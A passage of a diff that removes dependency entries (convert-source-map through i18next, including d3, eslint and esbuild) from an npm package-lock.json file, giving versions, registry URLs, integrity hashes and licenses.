"license": "MIT" - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "license": "MIT", - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-ease": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", - "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "license": "ISC", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "license": "ISC", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "license": "ISC", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "license": "ISC", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "license": "ISC", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-timer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", - "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decimal.js-light": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", - "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", - "license": "MIT" - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/detect-node-es": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", - "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==", - "license": "MIT" - }, - "node_modules/didyoumean": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", - "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", - "license": "Apache-2.0" - }, - "node_modules/dlv": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", - "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", - "license": "MIT" - }, - "node_modules/electron-to-chromium": { - "version": "1.5.267", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", - "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==", - "dev": true, - "license": "ISC" - }, - "node_modules/es-toolkit": { - "version": "1.43.0", - "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.43.0.tgz", - "integrity": "sha512-SKCT8AsWvYzBBuUqMk4NPwFlSdqLpJwmy6AP322ERn8W2YLIB6JBXnwMI2Qsh2gfphT3q7EKAxKb23cvFHFwKA==", - "license": "MIT", - "workspaces": [ - "docs", - "benchmarks" - ] - }, - "node_modules/esbuild": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.2.tgz", - "integrity": "sha512-HyNQImnsOC7X9PMNaCIeAm4ISCQXs5a5YasTXVliKv4uuBo1dKrG0A+uQS8M5eXjVMnLg3WgXaKvprHlFJQffw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.2", - "@esbuild/android-arm": "0.27.2", - "@esbuild/android-arm64": "0.27.2", - "@esbuild/android-x64": "0.27.2", - "@esbuild/darwin-arm64": "0.27.2", - "@esbuild/darwin-x64": "0.27.2", - "@esbuild/freebsd-arm64": "0.27.2", - "@esbuild/freebsd-x64": "0.27.2", - "@esbuild/linux-arm": "0.27.2", - "@esbuild/linux-arm64": "0.27.2", - "@esbuild/linux-ia32": "0.27.2", - "@esbuild/linux-loong64": "0.27.2", - "@esbuild/linux-mips64el": "0.27.2", - "@esbuild/linux-ppc64": "0.27.2", - "@esbuild/linux-riscv64": "0.27.2", - "@esbuild/linux-s390x": "0.27.2", - "@esbuild/linux-x64": "0.27.2", - "@esbuild/netbsd-arm64": "0.27.2", - "@esbuild/netbsd-x64": "0.27.2", - "@esbuild/openbsd-arm64": "0.27.2", - "@esbuild/openbsd-x64": "0.27.2", - "@esbuild/openharmony-arm64": "0.27.2", - "@esbuild/sunos-x64": "0.27.2", - "@esbuild/win32-arm64": "0.27.2", - "@esbuild/win32-ia32": "0.27.2", - "@esbuild/win32-x64": "0.27.2" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.2.tgz", - "integrity": "sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.1", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.1", - "@eslint/js": "9.39.2", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.12.4", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.2", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-react-hooks": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.0.1.tgz", - "integrity": "sha512-O0d0m04evaNzEPoSW+59Mezf8Qt0InfgGIBJnpC0h3NH/WjUAR7BIKUfysC6todmtiZ/A0oUVS8Gce0WhBrHsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.24.4", - "@babel/parser": "^7.24.4", - "hermes-parser": "^0.25.1", - "zod": "^3.25.0 || ^4.0.0", - "zod-validation-error": "^3.5.0 || ^4.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" - } - }, - "node_modules/eslint-plugin-react-refresh": { - "version": "0.4.26", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", - "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS5iE3VQmO7XQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "eslint": ">=8.40" - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", - "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/eventemitter3": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", - "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fastq": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", - "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", - "dev": true, - "license": "ISC" - }, - "node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/gensync": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/get-nonce": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", - "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/globals": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", - "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/hermes-estree": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", - "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", - "dev": true, - "license": "MIT" - }, - "node_modules/hermes-parser": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", - "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hermes-estree": "0.25.1" - } - }, - "node_modules/html-parse-stringify": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/html-parse-stringify/-/html-parse-stringify-3.0.1.tgz", - "integrity": "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg==", - "license": "MIT", - "dependencies": { - "void-elements": "3.1.0" - } - }, - "node_modules/i18next": { - "version": "25.7.3", - "resolved": "https://registry.npmjs.org/i18next/-/i18next-25.7.3.tgz", - "integrity": 